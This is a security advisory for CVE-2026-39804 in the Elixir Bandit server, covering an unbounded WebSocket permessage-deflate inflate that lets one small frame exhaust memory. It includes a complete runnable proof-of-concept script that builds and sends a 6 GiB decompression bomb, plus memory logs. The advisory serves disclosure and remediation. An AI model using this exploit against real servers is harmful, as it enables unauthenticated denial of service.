CVE-2026-39804

### Summary When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default — they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate. ### Details In `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process's heap. `websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes. The bug is gated by two server-side flags being true at the same time: - Bandit's global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`). - The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix's default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`). Both must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket "/ws", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app). **Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`. ### PoC A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`. Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config): - Frame on the wire: ~6 MiB. - BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC'd. - Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright. A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming. ### Impact Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation. Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected — both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about. ```elixir # Bandit WebSocket permessage-deflate bomb PoC. # # lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2 # with no output-size cap. A small (~4 MiB) compressed frame inflates to # multiple GiB on the BEAM heap before any application code sees it. # # Note: in the default setup something upstream caps wire-side frames at # ~8 MiB even though Bandit's documented max_frame_size default is 0 # (unlimited). The bug is reachable below that cap regardless. # # Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websock_adapter, "~> 0.5"} ]) defmodule EchoSocket do @behaviour WebSock def init(_opts), do: {:ok, %{}} def handle_in(_message, state), do: {:ok, state} def handle_info(_message, state), do: {:ok, state} def terminate(_reason, state), do: {:ok, state} end defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true) |> Plug.Conn.halt() end end defmodule Bomb do @port 4321 # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap). @target_decompressed_bytes 6 * 1024 * 1024 * 1024 @plaintext_chunk_bytes 10 * 1024 * 1024 def run do {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port) sock = ws_handshake!() deflate_payload = build_deflate_bomb() frame = compressed_text_frame(deflate_payload) sampler_pid = spawn_link(&sample_memory_loop/0) log("Sending #{byte_size(frame)}-byte compressed frame…") :ok = :gen_tcp.send(sock, frame) handle_recv(sock) Process.unlink(sampler_pid) Process.exit(sampler_pid, :kill) :gen_tcp.close(sock) log("Done.") end # Open a TCP connection and complete the WebSocket handshake with # permessage-deflate. Raises if the server doesn't negotiate it. defp ws_handshake! do {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64() :ok = :gen_tcp.send(sock, """ GET / HTTP/1.1\r Host: 127.0.0.1\r Upgrade: websocket\r Connection: Upgrade\r Sec-WebSocket-Key: #{ws_key}\r Sec-WebSocket-Version: 13\r Sec-WebSocket-Extensions: permessage-deflate\r \r """) {:ok, response} = :gen_tcp.recv(sock, 0, 5_000) if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}") log("Handshake complete.") sock end # Stream-deflate @target_decompressed_bytes worth of zeros so the client # never holds the full plaintext at once. RFC 7692 uses raw deflate # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which # we strip per the spec. defp build_deflate_bomb do chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes) chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes) log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…") zstream = :zlib.open() :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default) deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end) final_flush = :zlib.deflate(zstream, <<>>, :sync) :zlib.close(zstream) deflated = IO.iodata_to_binary([deflated_chunks, final_flush]) trailer_size = byte_size(deflated) - 4 <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).") payload end # Wrap payload in a single masked WebSocket text frame with RSV1 set # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text). defp compressed_text_frame(payload) do mask = :crypto.strong_rand_bytes(4) payload_size = byte_size(payload) mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size) masked_payload = :crypto.exor(payload, mask_stream) length_bytes = cond do payload_size <= 125 -> <<1::1, payload_size::7>> payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>> true -> <<1::1, 127::7, payload_size::64>> end <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>> end # EchoSocket.handle_in/2 doesn't reply, so recv times out after the # observation window. That's enough to watch the BEAM heap spike. defp handle_recv(sock) do case :gen_tcp.recv(sock, 0, 5_000) do {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} -> log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}") {:ok, bytes} -> log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}") {:error, :timeout} -> log("recv timed out (server held the inflated payload silently).") {:error, reason} -> log("Connection closed: #{inspect(reason)}") end end defp sample_memory_loop do log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB") Process.sleep(250) sample_memory_loop() end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end Bomb.run() ``` #### Logs ``` 10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [08:15:24.269] Handshake complete. [08:15:24.321] Deflating 6144 MiB plaintext… [08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x). [08:15:37.581] Sending 6257689-byte compressed frame… [08:15:37.582] [mem] BEAM total = 76 MiB [08:15:37.834] [mem] BEAM total = 759 MiB [08:15:38.087] [mem] BEAM total = 1480 MiB [08:15:38.338] [mem] BEAM total = 2214 MiB [08:15:38.589] [mem] BEAM total = 2724 MiB [08:15:38.840] [mem] BEAM total = 3410 MiB [08:15:39.091] [mem] BEAM total = 3877 MiB [08:15:39.342] [mem] BEAM total = 4268 MiB [08:15:39.593] [mem] BEAM total = 4815 MiB [08:15:39.845] [mem] BEAM total = 5270 MiB [08:15:40.096] [mem] BEAM total = 5766 MiB [08:15:40.347] [mem] BEAM total = 12451 MiB [08:15:40.598] [mem] BEAM total = 12452 MiB [08:15:40.850] [mem] BEAM total = 12452 MiB [08:15:41.101] [mem] BEAM total = 12452 MiB [08:15:41.353] [mem] BEAM total = 12452 MiB [08:15:41.606] [mem] BEAM total = 12451 MiB [08:15:41.856] [mem] BEAM total = 6229 MiB [08:15:42.107] [mem] BEAM total = 6229 MiB [08:15:42.358] [mem] BEAM total = 6229 MiB [08:15:42.582] recv timed out (server held the inflated payload silently). [08:15:42.584] Done. ```

## Summary Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled. 'Elixir.Bandit.WebSocket.PerMessageDeflate':inflate/2 in lib/bandit/websocket/permessage\_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata\_to\_binary/1. The websocket\_options.max\_frame\_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs. An unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill. This vulnerability requires both Bandit's server-level websocket\_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false. This issue affects bandit: from 0.5.9 before 1.11.0. ## Workarounds Do not pass compress: true to WebSockAdapter.upgrade/4. Omitting this option (or setting it to false) prevents permessage-deflate from being negotiated, so the inflate path is never reached. ## Configurations The vulnerability is only reachable when both of the following conditions are true: - Bandit's server-level websocket\_options.compress is enabled (it defaults to true). - The per-upgrade compress: true option is passed to WebSockAdapter.upgrade/4 (it defaults to false; Phoenix's default is also false). Stock Phoenix and LiveView applications are not affected because compress: false is their default.